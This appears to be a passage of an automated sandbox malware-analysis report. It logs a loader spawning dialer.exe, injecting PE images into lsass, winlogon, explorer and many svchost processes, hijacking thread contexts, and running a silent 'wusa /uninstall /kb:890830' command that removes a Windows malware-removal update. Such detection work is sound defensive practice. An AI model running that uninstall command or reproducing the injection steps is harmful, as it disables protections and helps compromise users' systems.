Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 13EF273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D57273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 69B4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CC74273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5DA7273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F389273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3B8273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 40E4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A653273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 27BC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B15273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 621A273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F48273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B4B273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 683D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 874273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2E26273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6C5E273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D593273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FC65273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7874273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 33B4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D0A273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AB4C273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2A64273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CF3273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6452273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4935273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 60DA273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E7B273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F7C273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E815273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5234273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9DA9273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 602E273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CF96273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DA54273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 38E0273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 97C273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E9AB273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FB0F273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 23E3273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CB5E273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3D99273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F9E6273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DD84273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DDE2273C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAED90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC670000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0B10000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A661330000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B370000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B940000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166910000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 8740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64520000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 265CF960000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 223DA540000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22638E00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1EC097C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1CFE9AB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 250FB0F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23523E30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B5CB5E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E53D990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DAF9E60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E6DD840000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E6DDE20000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 2580 base: 8740000 value: 4D

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\loader.exe	Thread register set: target process: 6952	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Thread register set: target process: 7648	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Thread register set: target process: 7712	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Thread register set: target process: 7784	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAED90000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B3B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC670000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0B10000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A661330000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B370000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B940000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166910000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 8740000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64520000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 265CF960000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 223DA540000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22638E00000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1EC097C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1CFE9AB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 250FB0F0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23523E30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B5CB5E0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E53D990000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DAF9E60000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E6DD840000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E6DDE20000	Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\dialer.exe

Code function: 11_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

11_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 11_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

11_2_0000000140001B54

Source: winlogon.exe, 00000014.00000000.1843622830.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000014.00000002.3146565995.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
